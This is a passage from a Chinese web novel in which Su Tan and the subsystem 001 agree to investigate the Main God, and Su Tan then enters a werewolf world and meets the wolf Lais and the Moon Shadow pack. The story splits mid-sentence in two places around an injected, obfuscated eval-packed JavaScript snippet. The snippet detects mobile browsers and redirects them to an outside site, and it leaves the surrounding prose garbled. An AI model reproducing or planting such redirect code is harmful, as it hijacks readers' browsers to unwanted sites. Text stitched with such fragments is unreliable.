偏偏她的眼神还那么……那么纯良清澈,完全没意识到似的。 他还能怎么办? “算了,你跟我来。” 001轻叹一口气,带着她直走出大厅,来到虚空之境的餐厅。 苏昙闻到里面传出浓郁饭香,下意识拽住001衣袖,惊喜道:“你们这里还真的能吃饭?!” “嗯。”001把他的餐卡递给苏昙,“里面的菜应该挺全的,你想吃什么就刷吧。” “你不进去?” “不进去了,我在外面等你。” “为什么?”苏昙简直觉得001是在将世界上最美好的东西拒之门外,不由分说把他推进去,“不行不行,我吃饭时喜欢有人陪,不然吃不下去。” “……真的?”001半信半疑地回头看向苏昙,猝不及防与她的满眼笑意迎上。 他慌忙把头扭回去,仿佛脚下踩了一团棉花,没稳住踉跄了一下,嘴上小声应道:“行吧……” 苏昙很快反客为主,开始兴高采烈地给001介绍起各种菜肴来。挑到最后,她选了些以前常吃的家庭小菜,盛了两碗米,一碗给了自己,一碗放到了001的面前。 她把黄焖鸡的汤汁浇到米上拌匀,舀了一勺送进嘴里。 001看到苏昙突然睁大的双眼,紧张道:“不好吃吗?” 他当时问131,131信誓旦旦地拍着胸脯保证,餐厅的饭随便选,都不会踩坑。 “唔&*%吃*&……”苏昙叽里咕噜地说了一句什么,见001毫无领会,加快咀嚼速度,把饭咽下去,说道,“当然好吃!你一次都没吃过吗?” 001本想拒绝,又撞进苏昙满怀期待的眼睛,动摇之下,他模仿苏昙的做法,把饭和汤汁拌匀,吃了百年来的第一口饭。 苏昙迫不及待地问:“怎么样?” “……还行。” 001倒是觉得不如看她吃饭更香,真是奇怪。 “胡说,明明口齿生香,美味得很。” 苏昙在第二个里世界那么长时间,没吃上一顿正经饭,此时遇到美食,恨不得“埋头苦吃”三天三夜。 一时间,餐桌上没了说话声。 001没什么口腹之欲,吃完第一口便搁了碗筷,静静地看着她。她进食很快,也没什么声响,一转眼碗里的米便已见底。 他还在盯着苏昙,没有意识到她却早早盯上了他的饭。 苏昙扭头对上他痴痴的视线,以为是在护食,试探地问了一句:“你还吃吗?” 这子系统只吃了一口,她实在不忍心浪费粮食! 001一怔,瞬间回过神,结巴道:“如、如果你不嫌弃……” “你就吃了一口,这跟没吃有什么区别?我不嫌弃。” 苏昙得他允许,毫不介意地把他的碗端过来占为己有。 001咽了一口唾沫,发觉他的心跳忽然加快,生出一丝做贼心虚的幻觉,慌忙转移话题问道:“你为何会出现在那条长廊?” 苏昙忙着和美食交流,简短道:“因为梦。” “梦?” “嗯。我来到虚空之境睡了多长时间?” “一天一夜。” “没错,就在这一天一夜,我梦里一直有个声音让我留下来。这个声音给我的感觉,与我刚才在长廊里听到的很像。” 001皱起眉:“你确定长廊里有声音?” 他一直藏在那里,并未听到有什么声响。 “不太确定。那声音时有时无,我想一探究竟,就没停下来,谁知遇到了你。话说,你在那里又是干什么?” 苏昙把问题抛回他,又往嘴里送了一口饭。 001敛了神色。 “这样吧,”苏昙放下碗筷,说道,“既然我们答应了要相互信任,就要说到做到。我先讲一个我的秘密,怎么样?” 001没有说话,苏昙就当他默认,说道:“我这个人,平时几乎不做梦。但当初我在虚境受伤昏迷两天两夜,做过一个奇怪的梦。在梦里,我回到了现实世界,见到了我的父母。而我错以为这不是梦境,险些越陷越深。说起来,还是你把我唤醒的。” 001注视苏昙:“是你求生意识强大。” 苏昙不以为意地笑笑,继续道:“接着就是今天的梦。除了可疑的声音,梦里其余都是我在前两个里世界的经历。但不同的是,梦里的经历,都是无解的必死结局。这两个梦,我从没对外人说过,你是第一个知道的——现在换你了。” “我……没什么秘密。”001神色微动,“不如,你问我答?” “那我可要好好想想。” 苏昙双眸澄明,想起初进系统时和001见的第一面。 刚开始,她只觉得整件事情离谱荒谬,竟没有注 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苏昙记得001与她提过这个规律,很快明白了001今天出现在长廊的原因:“从那时起,你就开始怀疑主神,并在暗中调查祂。” “嗯。” 001本以为谷晨的事与苏昙无关,不想让她掺和进来。而现在来看,种种疑团似乎都指向主神。 他补充道:“只是祂太强,不容易接近,想要查明真相很困难。” 否则也不会这么长时间,进展依旧缓慢。 “不一定。”苏昙停了片刻,挑眉提醒他,“我记得你告诉过我,若是宿主能成功过完三个世界,可以向主神提三个愿望。” 001很快反应过来,猜到她的意思:“你要进密门见祂?这倒是个办法……但你其实可以选择只考虑你自己,谷晨的事和你无关,你不应该牵扯进来。” 苏昙摇头:“001,我们合作吧。” “……什么意思?” “你有你想要查明的真相,我有我需要的人身安全和帮助。你负责在里世界保证我性命无忧,我负责努力完成任务,帮你查明谷晨自杀的真相。你觉得行吗?” 苏昙神情认真,眉心微微皱起,不笑的时候反而多出几分严肃,给人安心而可靠的感觉。 001心里清楚,若是想早点找出真相,宿主的配合必不可少。眼下最好的办法,就是和她一起。 苏昙看001一直没有说话,以为他不愿意,还要再向他解释,谁知下一秒,这人竟直接握住了她的手! 她意外得浑身僵住,想秃脑袋也没能理解他到底什么意思,美美地在凳子上化作一尊石像。 001回忆着苏昙当时的样子,一本正经地和她两手虚握,真诚地说道:“我愿意和你合作。当时是你说的,握手是第一步,表示我相信你。” 苏昙的表情终于有了一丝裂缝,给狂跳的心脏透进氧气,僵硬的外壳被对方清奇的脑回路绞成了渣渣。她又好气又好笑地拍开了001的手,道:“我当时是开玩笑的!” 那时候他突然开始煽情,搞得她都不知道该怎么应对,只好开了个玩笑缓和气氛,没想到他竟然当真了!她可真是搬起石头砸了自己的脚,只能受着。 苏昙发觉自己竟紧张得手心冒出一层薄汗,见001还在一动不动地盯着她,哈哈笑了两声,赶忙硬着头皮找补道:“你还真是个单纯得可……可爱的人。” 哪怕抽回手,她依旧感觉被001温热手掌包围的触感停留不散。 真是见了鬼了。 慌乱过后,她才反应过来,001刚刚好像答应了她的提议,确定道:“所以,你同意了?” 001点头:“嗯。” “可主神不允许你们帮助宿主,你不怕被发现,又被责罚?” 001反问:“你会怕吗?” “会啊。”苏昙坦然耸肩,“我没见过什么大世面,不知道未来还会遇到什么阻碍。但我了解我自己。我这个人,最不缺的就是面对恐惧的勇气。当然了,还有因为你,我现在多出的底气。” 001眼睛一眨不眨地和她对视:“我从没体会过害怕的情绪,也不会害怕。所以,你只管放心去做你的事就好。” 苏昙如同吃下一颗定心丸,至少以后不用再时刻担心她这条随时会没的小命了。 “有你这句话,我肯定放心!” 为了为第三个里世界多做些准备,她立刻履行合作约定,一边收拾餐具,一边问道:“你是可以知道每个世界的大致背景的,对吧?” “嗯。”001站起来帮她一起收拾,说道,“第三个里世界,是个兽人世界。” 41. 世界三(1) 苏昙再睁开眼时,已经来到兽人世界。 如001所读取到的原主的记忆,她穿到一个名叫维希,一岁大的雌性狼幼仔身上。维希所在的家族遭到敌对狼群的袭击,慌乱之下,她和家人跑散,被三只脱离敌对狼群的狼兽人锲而不舍追赶。 苏昙随之感受到的,是狂跳的心脏和腿上血淋淋的伤口在火辣地刺痛——她正在逃命途中! 广袤森林里树木林立,羊肠小道错综复杂,地上杂乱生长的藤蔓枝条大大阻碍了她奔跑的速度,哪怕她现在是雌狼的动物形态。 身后不停传来狼群的吠叫,如影子般紧随在她身后。 这时,001的声音如救星般响起:“前面一千米有房屋,那住着一个狼兽人。” 苏昙丝毫没有犹豫,大口喘着气朝他指明的地方奔去:“面对一只狼,和要解决三只狼,应付前者更容易些吧!” 很快,一个围了篱笆的院子映入眼帘。她越过木栅栏,化成人形,扎进院落主人的屋子里藏了起来。房间里空无一人,但摆放的各种家具一看就有频繁使用过的痕迹。 不一会儿,屋外响起急匆匆的脚步声。 脚步声越来越近,每一步仿佛都踏在苏昙心上,发出无声警告。 “——都给我滚。”一道男声突然出现,嘈杂的脚步声随之消失。 苏昙猜测,应是房屋的主人回来了。 简直不要太及时! “我数三个数。否则,后果自负。”那个冰冷的声音继续说道。 “一。” “……” “二。” 气氛继续僵持。 “……走吧走吧,他不好惹。”三个狼兽人中,不知谁先开了口。 紧接着,又是一阵脚步声,外面重归宁静。 苏昙藏在柜子后面,原主的左腿腿肚不知被哪只狼咬下一块肉,导致她身体全部重量都被迫压在另一条完好的腿上,坚持到现在已经有些发抖。她轻轻抽了口气,缓缓活动了一下脚腕。 与其同时,刚刚的声音在柜子旁边响起:“出来吧。” 苏昙静默了几秒,做好心理准备,一瘸一拐地走了出来。 对面站着一位男性,他的眼睛是罕见的蓝眸,又清又透,像玻璃珠子似的;皮肤是健康的小麦色;四肢修长,肌肉线条充满力量却不显壮实,勾出好看的轮廓。 饶是苏昙和他素未相识,也被美得呼吸一滞。 识海里的001发现她竟然罕见地走了神,顺着她的视线看去,目光落到一个年轻男子身上,那人长了一副勾魂的模样。 001心里滑过一缕不清不楚的烦闷,淡淡道:“正事。” 苏昙被他冷不丁出现的声音一激,瞬间回过神,自知她刚才偏了主题,颇有些心虚地轻咳一声,重新观察起面前的人。 然而房主的眉头越蹙越紧,脸上露出与相貌十分违和的不耐烦。 他冷漠地动了动嘴皮:“你,也滚出去。” 苏昙:“……” 还真是个表里如一的狼人。 但那几只追杀她的狼兽人不一定立刻离开,她现在当然不会乖乖滚出去。苏昙清了清干渴得快要冒烟的嗓子,委婉争取道:“那个,我腿伤得太严重,一时半会走不了……你看你这么好看,求你发发善心,让我在这里住几天,伤一好我马上走人!” 漂亮狼脸上的表情没什么变化,却十分嫌恶地退后一大步:“你身上的味道,很恶心。别让我再看见你。” 苏昙第二次被梗住:“?” 她是一个月没洗澡还是一个星期没洗脚,至于反应这么大吗?!她就纳了闷,怎么,这世道流行人长得越漂亮,攻击性就越强?苍天可鉴,这可不是她先挑衅的!既然这样,那她也没必要再和一个素不相识的狼客气。 苏昙脸上的温柔一扫而空,她上前两步,扬手一把拽住他的衣领,回击道:“别以为你长得还不错,就可以随意中伤他人。狼心是黑是白,不用剖出来我也看得一清二楚!还有什么我身上的味道恶心,我现在看你纯粹就是想恶心我!我招惹过你吗?至于一上来恶意就这么大吗?” 漂亮狼没想到她会直接吼他,一时没反应过来,僵在了原地。 苏昙发作完,也不关心他脸上到底什么表情,径直走到外面的院子里,转过身朝屋内喊道:“不过,还是谢谢你今天没有把我供出去,恩情我记下了,未来一定报答!” “……”漂亮狼被这个胆大包天的小雌狼惊呆了。 她不仅进了他的家,还碰了他,甚至对他破口大骂,她简直是想找死。 苏昙旁若无人地离开了这座木屋。当务之急,她得先养伤。这个世界不像上一个仙侠世界,伤口恢复有灵力加持好得快,她现在只能静养。 幸运的是,她拖着一条伤腿,在地上拉了没两步,找到一间废弃木屋,虽然不够敞亮,但该有的东西和家具一样不少。桌子和床上都积了不少灰,苏昙猜测这里可能是前几任屋主遗弃的地方,被她捡了漏。 这里离那个漂亮狼的房子不远,她刚来到这个世界,保险起见,还是有人陪着更加安全。那个漂亮狼虽然性情淡薄,说话总是尖言冷语,可她对他一通发作之后,竟在他的眼里窥见了一丝不知所措的茫然,那时她便赌他本性不坏。否则,也不会壮着胆反击。 大不了,平日里小心些避开他,不和他打照面就是了。 苏昙简单收拾出来一张凳子,小心翼翼把腿包扎好,休息了一小会,见伤口不再流血之后,拄着一条木棍,就要站起来打扫房间里的卫生。 这里太久没人住过,到处都是灰尘,不清理根本没法住。 她拖着伤腿,刚试着动一下,一阵撕裂的疼痛瞬间席卷全身,直冲天灵盖。苏昙倒吸一口凉气,赶紧弯下腰查看伤口有没有再流血。 确定没有牵扯到那里后,她又长长舒出一口气,如释重负地直起腰,却猝不及防地撞进一个熟悉的怀抱。 001十分克制地搀着她的另一条没有拄拐的胳膊,虚虚地将她后背揽住,扶着她重新坐下来。 苏昙起初惊讶了一小下,很快就适应了他的近距离接触,甚至有一搭没一搭地想,这时候他装什么,之前几次哪次抱得不比这回紧。 想法一出来,苏昙就先被吓了一大跳。不是,她在想什么呢?她怎么会这么想?她为什么会这么理所当然地觉得? 太怪了!一定是001的问题! 她强作镇定,先发制人地质问道:“你要干什么?” 001坦荡道:“你受伤了,不能剧烈动作,要做什么,我帮你。” 苏昙:“……” 他都这么说了,倒显得是她以小人之心度君子之腹了!那她还这么心虚客气干什么? “喏,这里,”苏昙理直气壮地指小茶桌,又扬起下巴点了点床,“还有那里,加上地上,都要打扫干净。” “好。” 001在屋内找到趁手的工具,二话不说开始干活。 ……这太诡异了!苏昙觉得001撸起袖子加油干的画面实在清奇,干脆学老僧入定,坐在椅子上闭目养神。 终于,在夜色到来前,001凭一己之力,把房间收拾打扫干净,然后留下一句“等我”后,眨眼消失。 夕阳不知不觉躲到森林背后,光线一点点暗下来。苏昙满意地看着整洁舒适的环境,摸了摸饥肠辘辘的肚子,准备生火做饭。 等001来,估计正好能吃上一口热乎的。也真是便宜他了,除了她的家人,还没人有口福吃过她做的饭,算他幸运。 然而,苏昙仔细搜罗完房间,对着一堆落满尘土和长满霉菌的蔬菜水果傻了眼。也是,狼是肉食动物,冷落这些有机食物再正常不过。苏昙在心里安慰自己。 她想了想,决定厚着脸皮请求一下外援。 “0——妈呀,吓死我了!”苏昙被突然出现的子系统吓了一大跳,险些没有站稳,“你这人来去都没一点动静吗?” 001不好意思地抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504762|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下唇,轻轻晃了晃他手里掂着的袋子:“给你。” 苏昙一愣,下一秒被扑面而来的粥香和油饼香味迷得疯狂分泌口水:“这是……你怎么知道我正准备吃饭?不对,这怎么只有一份,你不吃吗?” 001端着饭盒来到小茶桌,给苏昙拉过凳子:“我还不饿,你吃吧。” 苏昙从善如流地开始享用晚餐。 001没有立刻离开,而是坐在餐桌对面的沙发上,半支着胳膊托起下巴,看她进食。 自从上次和她一起在食堂吃过一起饭,001就发现,他很喜欢看她吃东西的样子,心里会生出一股隐秘的愉悦,就像是在看……一只小猫进食,怎么也看不腻。 倒是苏昙吃到一半,想起什么,抬起眼对001说道:“对了,你还能再帮我个忙吗?” “什么忙?” “下次你能直接带食材过来吗?我可以自己用食材做饭的。” “好啊。” 苏昙疑惑地睁大眼睛:“?” 沙发上的人还是001吗,这么顺利就答应了?她以为还要多求几句,多说几句好话呢。今天突然这么有应必答,猛地让她感觉浑身像被针扎了一下,逐渐有些坐立难安。 她状若无意问道:“你今天,心情不错?” “嗯。” 001嘴角流出一丝不易察觉的笑意,视线依旧在她身上没有离开。 苏昙看了他一眼,点了点头,继续说她接下来的计划:“就算这个世界,狼是杂食动物,估计那只漂亮狼也免不了为食物发愁,这几天我做点饭放到他门口,也算是感谢他今天上午帮我隐瞒踪迹。等我的腿伤养好,就离开这里。” “……” 001的嘴角在听到漂亮狼时拉直,在听到苏昙还要给漂亮狼送饭时彻底没了笑意。 他以为那只狼已经是过去式。 一旁,苏昙还沉浸在她的任务中,没有注意到他脸上表情细微的变化。 她思索片刻:“这个世界关于维希的信息太少了……她刚出生一年,就和家人离散。难道说,我需要帮她找到她的家人?那万一她的家人已经……遇难了呢?” 苏昙觉得这样做的意义实在不大。 她咽下一口饭,接着说道:“但是你说过,主神并不会把每个世界的具体任务告诉你们,你愿意提前告诉我这个世界的大致信息,就足够了。也许我往下走着走着,就能走上主线任务?” 001这才反应过来,苏昙是在和他说话。 但他现在知道的和苏昙一样多。作为子系统,在他了解到的信息中,并没有关于那个狼兽人的部分。还是说,这个世界里,存在他们未发现的线索? 苏昙也理解001的沉默,她想了想,换了个话题,问道:“主神那边,你准备怎么做?” 001很快道:“我打算再问问401,详细了解一下他从前和谷晨相处的细节,也许能多发现些什么。至于其他的,就要等到你顺利从这个世界离开另作计划。” “行。”苏昙表示赞同,把剩下的粥一扫而净。 001看她吃得差不多,站起来说道:“那我先回去了。” “先别走!”苏昙赶忙喊住他,问出心中早就有的疑问,“你们在里世界,能保持人形多长时间啊?” 001停住动作,顿了几秒,答道:“其他的子系统大约半个小时,我时间长些,一个小时吧。” 苏昙挑眉,她听着怎么感觉这人的语气还有些骄傲? “还有什么要问的吗?”001耐心地问。 “有,”苏昙把手撑在桌子上,借力站起来,“下次你带食材来的时候,能顺便再拿过来一个打火机吗?” “?” 苏昙看他脸上露出疑惑,解释道:“狼怕火,我用来防身。” 001在心中记下:“还有吗?” “没了,谢谢你。” “……那我走了,回见。” “嗯,拜拜!” 42. 世界三(2) 第二天清晨,苏昙被窗外的鸟鸣温柔叫醒。她迷迷糊糊走到屋子门口,贪婪地做了几次深呼吸,瞬间感到五脏六腑都被激活。 “森林的空气就是新鲜啊!” 一晚上过去,腿上的伤口结了一层薄痂,颜色也变得深了些。 苏昙在外面洗漱完后,进到屋里,发现桌子上多出一个大袋子,里面蔬菜、水果、肉类一应俱全。估计是001早上来过一次,放下东西就离开了,没有把她吵醒。 袋子最下面有三把打火机,她全部掏出来,放到了屋里干燥阴凉的地方。苏昙大致算了下,这些东西足够吃到她把伤口养好,这段时间不用再为食物发愁。 人是铁,饭是钢,一顿不吃饿得慌。苏昙撸起袖子,开始做早饭。还要多亏林远是个家庭大厨,她跟着林远,学会了不少菜的做法。 早餐不需要多复杂,苏昙简单炒了两盘鸡蛋,煮了一锅米粥。一盘鸡蛋留给自己,另一盘,她准备给那个漂亮狼送过去。 她端着饭盒,鬼鬼祟祟地溜到漂亮狼的家附近,观察一会,并没有狼出来。 难道他这么早就出去找食物了? 苏昙又试探着喊了两句:“漂亮狼?漂亮狼?” 无人回应。 她确定四周没有异样动静,悄咪咪走进院子,却发现房门上了锁。她把饭盒放到门口地上,还特意留下一张纸条:“专门留给你的,感谢你昨天在外狼面前给我作掩护。注:吃完后请将饭盒放到门口,我会找时间来取。” 做完这些事情,苏昙离开这里,回到了自己的小屋。 现在她腿脚不便,还是多休息为好。 回家的时候,苏昙特意从路上拾了几根合适的木棍,取出她存放在柜子里的打火机,一边回忆起之前在第一个里世界时,因为要录制岛上综艺,特意学习了火把的制作方法,没想到在这派上了用场。 说来也怪,进入系统这么长时间,她竟慢慢习惯了没有电子产品的生活,甚至觉得还不错,连大脑都慢慢清晰了不少。 很快,房屋门侧多了两支燃烧的火把。火焰婆娑舞动,就像两个调皮但可靠的门卫,苏昙心中的安全感又多了几分。 第二天中午,她来到漂亮狼的院子门口,还没进去,就在地上看到了她的饭盒。打开一看,里面的炒鸡蛋一块没少,全被他原封不动送了出来。就连留下的纸条,也一并落在地上。 苏昙虽料到他会拒绝,但依然疼惜地带着饭盒和纸条返回小屋,再三犹豫之后,还是把中午剩下的烤肉饭装了进去。 漂亮狼可以不吃她的饭,但她的诚意必须要给足! 第三天早晨,她再次来到漂亮狼房子门口收饭盒,盒子仍被放在地上,只是少了之前的纸条。 苏昙心生预感,她打开饭盒,里面干干净净,一点肉沫都没剩下。果然,狼兽人也是狼,还是送肉更好使,直接攻破目标防线! * 一周后,苏昙腿上的伤口渐渐愈合,恢复能跑能跳的状态,她清闲的日子也要结束了。 这天中午,她准备出门,把门口的两个火把灭了之后,又化成雌狼的动物形态,开始在森林里闲逛。 不知不觉,她出了森林边界,视野变得开阔。她所在的山头下面是一座座房屋,那是人类居住的地方。这片地方离莱斯的家并不远,都在森林的边缘地带。 苏昙正准备折返回去,瞧见一个小女孩朝自己跑过来。 离近了她才发现,小女孩的年纪只有八岁左右,脸上的婴儿肥还没有完全消失,一双大眼睛亮晶晶的,黑色的瞳仁像两颗饱满的葡萄,让人看着心生喜欢,不由自主地想要和她亲近。 小女孩绕着苏昙转了两圈:“你是只小母狼?” “?” 兽人在动物形态时无法说话,苏昙此时也不知道她的话是什么意思。 小女孩蹲下来说道:“你好啊,我叫姜伊湛,是山下的人类。” 小狼轻哼做出回应。 姜伊湛揉了揉小狼的脑袋:“我爸爸妈妈说过,这片森林里的母狼远比雄狼少,尤其是像你一样基因纯正的母狼,就更少了。他们还专门让我注意山上母狼的情况,真的好巧啊。” “但是,像你这样的小母狼怎么会独自在这?我听妈妈讲,你们这么大的时候应该在父母身边跟着才对。难道你和我一样,都是喜欢贪玩的小孩,才跑到这么远的地方?” 姜伊湛说着,自己先忍不住笑出来。 小狼歪了歪头,趴在她脚边。姜伊湛注意到小狼的腿上秃了一块,露出刚痊愈的疤痕,担心道:“你受伤了?怪不得看着这么瘦弱。” 她站起来对苏昙摆手:“你先不要离开,我给你带点食物,等我一会!” 小狼没有动作,静静地趴在地上。 苏昙看着姜伊湛远去的背影,回想起她刚刚说的话。 原来,原主是个纯正的雌狼,听起来地位并不低。那为何维希生前还会遭到追杀?还有,姜伊湛的爸妈是何身份,竟连森林里兽人的具体情况都知道? 苏昙现在知道的信息太少,想了会实在想不通,索性变回人形,靠在树下打起午后小盹。 …… “小狼?你在哪?” 不知过了多久,苏昙迷迷糊糊听到姜伊湛的声音顺着风送进耳朵。 她揉揉惺忪睡颜,指指自己:“这儿。” 姜伊湛看着比她高出一头的狼兽人,到了嘴边的“小狼”突然有点喊不出口。这也正常,动物的成长速度本来就和人类不一样。 姜伊湛把手里的东西搁在地上,不好意思地朝苏昙靠近:“你的头发好漂亮,又长又直的……我能摸一摸吗?” “直?我是自然——”苏昙下意识以为姜伊湛说的是真实的她,反应过来之后连忙打住,笑道,“好啊。” 她稍稍偏头,把头发都聚拢到姜伊湛在的那一边。 姜伊湛满足后,终于想起来这一趟的目的,把地上的大袋子交给小狼:“这些是我从家里拿的肉,送给你吃。” 袋子上还粘着冰碴子,一看就是冷冻后还没解冻。苏昙掂了掂,不轻。 “谢谢你啊。”她说。 “没事的!我喜欢和森林里的动物一起玩。”姜伊湛拉住苏昙的袖子,问道,“我还不知道叫你什么呢?” “维希。维持的维,希望的希。” “维、希。我喜欢这个名字!” “对了,我还不知道你的爸爸妈妈是做什么的,竟然连山上母狼有多少都知道,好厉害!” “我……我不能告诉你。”姜伊湛盯着地面,低声道,“他们说要保密。不过我向你保证,他们和我一样,也很喜欢森林里的动物,绝对不会伤害你们的!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512605|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 苏昙揉了揉小女孩的脑袋:“我当然相信你。天快黑了,赶紧回家吧,别让家人担心。” * 姜伊湛走后,苏昙立刻化成狼往住的房子飞奔。 ——大约十分钟之前,袋子上的冰开始解冻,生骨肉的气味溢出,引来了几只伺机而动的禽鸟。若是等到肉彻底解冻,气味变得更加浓郁,怕不是他们全会一拥而上,抢食得一干二净。 苏昙跑回家,刚变回人形,还没喘口气,先被坐在沙发上的人吓了一跳。 漂亮狼怎么会在这? 她正准备开口询问,没想到沙发上的狼兽人先问道:“你去见了谁?” 苏昙很讨厌他说话的态度,冷声道:“我没理由告诉你。” “不说我也知道。是人类,还是个——”漂亮狼打了个喷嚏,狠狠地揉一把鼻子,继续道,“还是个小女孩……你和你手里的东西,都离我远点。” 苏昙最反感别人对她东令西喝,哪怕颜值再高也容忍不了。 她不急不慢地从袋子里挑出一块肉扔到房子外面地上,接着把袋子小心系上,谨慎地放起来,又搬来凳子在沙发对面坐好,这才轻飘飘地看向漂亮狼:“不好意思,你说什么?” “……”漂亮狼吃了个哑巴亏,气极反笑道,“我最讨厌装腔作势的纯种狼和人类。你身上留着纯正的狼血,又沾满人类的气味,我对你的忍耐已经达到极限,现在恨不得把你驱逐出方圆十公里。” “哦,我知道了。但你先别急,再等两分钟。” “?” 苏昙真诚道:“有这个时间,我们不如交换一下名字?不然等我走之后,连个能想念的狼都没有。” “你!”漂亮狼被她假意亲近的发言气得把头扭到一边,不再说话。 “那我先说吧,我叫维希。当时误入你这里是因为我正在被敌对狼群追杀,又受了伤,情急之下才藏到你的屋里。现在我腿上的伤已经好得差不多,自然不会再留在这打扰你。”苏昙该还的人情已经还完,走的时候问下恩人的名字又不会怎么样,她看向漂亮狼,问,“所以,你叫什么啊?” “……” 苏昙快要没耐心:“不说算了。” “……莱斯。” 漂亮狼飞速说完名字,回避了她的视线。 这时,屋外传来一阵翅膀扑飞声。 苏昙立刻站起来躲到门后查看,发现她刚才扔地上的肉已经不见,只有一只乌鸦梗着脖子,正在吞咽食物。 莱斯同样靠近门口,却被苏昙拽到身后:“嘘。” 苏昙静悄悄地看着乌鸦消化完肉块,活蹦乱跳飞到窗外的高树上轻啄身上的黑羽,她才放开声音说道:“好了,我现在就离开,不在这碍眼了。” “你怀疑那袋肉有问题?”莱斯才明白过来她的举动。 “当然。我又不喜欢吃生的,如果给你留下来,不得确定食物安不安全?”苏昙都要怀疑他是不是人们口中有灵性的狼,怎么豪横中透着一丝傻气? “我不需要。” 苏昙想到每次都干干净净的饭盒,决绝否认:“不,你需要。” 莱斯:“……” “行了。这屋里的东西就留给你了。多谢你这十天的大度容忍,再见。” 苏昙带上自己做的小挎包,潇洒地冲他挥了挥手,与莱斯告别。 43. 世界三(3) 离开之后,苏昙漫无目的地在森林里“游荡”。转眼几天过去,她回到和姜伊湛相遇的地方找过多次,却再没见过那个女孩。 这天,苏昙离开那里,眼看着天已经黑透,准备找一个空树洞先凑合一晚。没想到刚进洞,外面便出现一阵悄声低语。 苏昙远远地听见其中一个声音说道:“老大,现在已是初春,再有三个月,月影族就要重选头狼。到时候,新头狼的位置非你莫属。” “嘘!话可不能乱说,若是让其他族狼听去,指不定要怎么暗中对付我。” “是是是,你说得对。到时候,直接让他们大开眼界——嘶,老大,你又踩到我脚了!” “知道我踩着你还不往边上去点!” 被叫老大的那个狼兽人明显不满同伴这么说,连音量都提高不少。 两只狼走得离苏昙越来越近,苏昙借着月光看清了他们的长相:其中叫老大的那个瞎了右眼,另一个和莱斯一样,也是蓝瞳。 苏昙在他们经过树洞时,听见蓝瞳狼提到了莱斯的名字。 “你说,那个懦夫现在在哪苟且偷生?” 蓝瞳狼:“莱斯?你怎么会提起他?他不是两年前就离开了月影族。” 独眼狼踏断脚下拦路的树枝,说道:“他是走了,但我可忘不了他离开时,一副疯狼模样,看见谁咬谁。我的眼睛就是拜他所赐!” “说得也是,现在想想,我也一阵后怕……” 两人渐渐走远,苏昙听不太清他后面又说了什么。等到那两人又走了一段距离之后,她悄悄跟了上去。 一路上,苏昙远远地尾随在他们后面,不知道拐了多少个弯,爬了多少个陡坡,终于听到前面传来相互呼应的狼嚎。那里是群狼居住的地方,也是月影族所在地。 “喂小狼,你身上的气息阴魂不散跟了一路了,到底想干什么?”独眼狼的声音冷不丁在苏昙耳边炸开。 苏昙淡定地转身,飞快收回观察月影族狼群的视线。 这狼鼻子还真是比狗鼻子还灵。尽管她也是只狼,狼壳子里却住了个人,压根分不出来周围混杂的气味都属于什么。 苏昙后退一步,垂眼道:“我被敌对族人追杀,一直在路上逃命。幸运的是,今晚遇到了二位,为了活命不得已才跟了上来。请问,我能加入你们的族群吗?” 她之所以想留下来,是因为她想弄清楚莱斯和月影族的关系。这个世界里出现的任何信息,都有可能成为她完成任务的关键。 独眼狼看着苏昙,没有说话。他身边的蓝瞳狼也饶有兴趣地打量着苏昙。 苏昙想起姜伊湛说过的话,对独眼狼旁敲侧击道:“先不说我一只小雌狼能对你们造成多大的威胁。单说你若是出于善良大度把我留下来,那传出去也能大大提高你名声的威望。我看你身上颇有英勇矫健之姿,肯定是成为头狼的不二人选!” 独眼狼听到“狼王”,耳朵抖了一下,心里想的什么已经浮于言表。 “老大,不要轻易——” “还轮不到你提醒我。”独眼狼撇了蓝瞳狼一眼,又看向苏昙,脸上挂上一副看好戏的表情,“留下来可以,但遇到麻烦,别来找我哭鼻子,我可不管。” 独眼狼早在心里盘算好,哪怕这只小狼是稀少的雌性,但她依然是狼群最底端的狼,肯定在月影族坚持不下去。肯定过不了两天,就会灰头土脸地夹着尾巴走了。 苏昙倒是没心没肺地点头,顺从地跟在独眼狼的后面。 走入月影族的地盘,一股寂静压抑的气息瞬间将她包裹。狼群还未入眠,一只只卧在地上眯着双眼,冰冷锐利的眼神落到她身上。 苏昙很快大致观察了狼群的分布,一共二十只狼,四只雌狼,十六只雄狼。其中,大部分是三三两两抱团居住,而且居住的地方也都比较分散。这些狼之间的关系看起来并不和谐,她隐隐感觉到表层的现象下,有更汹涌的暗流涌动。 “你就随便找个地方休息吧。” 独眼狼说完,把苏昙扔下,和蓝瞳狼一起走了。 这两人刚离开,本来正在打瞌睡的狼群一个接一个站起来,渐渐把苏昙围了起来。 合着都是冲她来的。 苏昙冷静地环视狼群,一点点往后退,左手臂展开,右手慢慢伸进腰间的挎包。她注意到,这些狼只是呲牙拱背,却没有进攻之意。 她摸出打火机,正准备点燃放在包里备用的火棍,狼群外突然响起一声呵气般的低吼。几乎同一时间,包围的狼群散开,纷纷跑回自己的地方。 她看到一只断了半条尾巴的雌狼走过来,到面前时她已经化成人形,比维希大上四五岁模样,应是和原主父母同辈。 “你是新来的?” 苏昙把东西重新放回包里,点头道:“对,多谢相助。不知道怎么称呼你?” “凌冉。” “你好,我叫维希。”苏昙又向凌冉解释了一遍她为什么来到月影族。 凌冉皱眉问道:“你真的打算在这里呆下去?这里有什么好的?” “那你为什么留在这里?”苏昙反问。 